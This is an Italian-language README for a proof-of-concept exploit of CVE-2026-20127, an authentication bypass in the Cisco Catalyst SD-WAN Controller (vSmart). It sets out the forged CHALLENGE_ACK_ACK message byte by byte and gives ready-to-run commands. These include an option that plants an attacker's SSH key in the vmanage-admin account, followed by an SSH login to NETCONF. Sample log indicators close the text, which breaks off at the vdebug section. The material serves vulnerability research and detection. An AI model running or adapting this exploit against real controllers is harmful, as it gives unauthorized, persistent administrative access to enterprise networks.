CVE-2026-20127

Panoramica

Un exploit per la vulnerabilità di bypass dell'autenticazione del Cisco Catalyst SD-WAN Controller, CVE-2026-20127.

Questo exploit prende di mira il gestore vbond_proc_challenge_ack_ack(). Invia un messaggio CHALLENGE_ACK_ACK contraffatto (msg_type=10) con un byte verify_status=1 controllato dall'attaccante, forzando direttamente il server a impostare authenticated=1 sulla voce del peer.

Come funziona

Nella normale handshake del piano di controllo DTLS:

1. Il client si connette tramite DTLS con un certificato
2. Il server invia CHALLENGE (msg_type=8)
3. Il client risponde con CHALLENGE_ACK (msg_type=9) contenente i dati del certificato
4. Il server verifica il certificato e invia CHALLENGE_ACK_ACK (msg_type=10) con verify_status=1

Questo exploit accorcia il flusso:

1. Il client si connette tramite DTLS con un certificato auto-firmato
2. Il server invia CHALLENGE
3. Il client invia CHALLENGE_ACK_ACK (msg_type=10) con verify_status=1 direttamente
4. Il vbond_proc_challenge_ack_ack() del server legge verify_status dal corpo del messaggio — questo è controllato dall'attaccante
5. Poiché verify_status != 0, il server imposta authenticated=1 (*(BYTE*)(a2+70) = 1)

Il gate di autenticazione in vbond_proc_msg() esenta msg_type=10 dai controlli di autenticazione, quindi questo funziona anche se il peer non è ancora autenticato.

Testato con successo contro Cisco Catalyst SD-WAN Controller (noto anche come vSmart), versione 20.15.3.

Testato senza successo contro un Cisco Catalyst SD-WAN Controller (noto anche come vSmart) patchato, versione 20.12.6.1.

Utilizzo

Usage: ./bin/vdaemon_exploit TARGET [options]

vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)

This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.

    -p, --port PORT                  DTLS port (default: 12346)
        --inject-key                 Generate and inject SSH key into vmanage-admin authorized_keys
        --ssh-key PUBKEY_FILE        Path to SSH public key file to inject
        --cert CERT_FILE             Path to PEM certificate file for DTLS handshake
        --cert-key KEY_FILE          Path to PEM private key file for DTLS handshake (used with --cert)
        --data-dir DIR               Directory for generated keys/certs (default: ./data/)

Examples:
  ./bin/vdaemon_exploit 192.168.86.166
  ./bin/vdaemon_exploit 192.168.86.166 --inject-key
  ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
  ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem

Esempio

# Install dependencies
bundle install

# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.86.166

# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key

# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830

Lo screenshot seguente mostra lo sfruttamento riuscito e il successivo accesso SSH al servizio NETCONF:

Dettagli tecnici

La funzione vulnerabile: vbond_proc_challenge_ack_ack()

Situata all'indirizzo 0x38AB7 in vdaemon (20.12.5). La funzione elabora i messaggi CHALLENGE_ACK_ACK in arrivo e presenta questi controlli chiave:

1. Controllo duplicati (a2+112): Rifiuta se un CHALLENGE_ACK_ACK è già stato elaborato per questo peer. Al primo passaggio, questo contatore è 0 → superato.
2. Rifiuto vBond (a1+8 == 4): Restituisce 20 se il dispositivo locale è un vBond. Prendiamo di mira vSmart (type=3) → superato.
3. Creazione timer: Crea hello-timer ed expiry-timer. Improbabile che fallisca → superato.
4. verify_status (a3+32): Legge il primo byte del corpo del messaggio. Se zero → percorso di rifiuto (eliminazione del peer). Se diverso da zero → imposta *(BYTE*)(a2+70) = 1 (autenticato).

Il difetto critico: verify_status proviene direttamente dal corpo del messaggio controllato dall'attaccante senza alcuna validazione lato server. La funzione si fida dell'affermazione del peer sullo stato di verifica.

L'esenzione dal gate di autenticazione

In vbond_proc_msg(), il gate di autenticazione che blocca i peer non autenticati dall'invio della maggior parte dei tipi di messaggio esenta esplicitamente msg_type=10 (CHALLENGE_ACK_ACK). Ciò è necessario per il flusso di protocollo legittimo (il server invia ACK_ACK al client prima che l'autenticazione sia completata), ma consente anche a un attaccante di inviare un ACK_ACK contraffatto al server.

Formato wire

L'exploit invia un messaggio di 14 byte:

Header (12 bytes):
  Byte 0:  0x0A        (version=0, msg_type=10/CHALLENGE_ACK_ACK)
  Byte 1:  0x30        (device_type=3/vSmart << 4)
  Byte 2:  0xA0        (flags)
  Byte 3:  0x00        (reserved)
  Bytes 4-7:  domain_id  (big-endian u32, default: 1)
  Bytes 8-11: site_id    (big-endian u32, default: 100)

Body (2 bytes):
  Byte 0:  0x01        (verify_status = 1 / TRUE)
  Byte 1:  0x00        (reserved)

IOC

In questo esempio, il target era un Cisco Catalyst SD-WAN Controller (noto anche come vSmart), versione 20.15.3. Il target aveva un indirizzo IP di 192.168.86.166 e l'attaccante aveva un indirizzo IP di 192.168.86.35.

Il file di log /var/log/vsyslog ha registrato questi messaggi:

Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

Il file di log /var/log/vdebug ha registrato questi messaggi: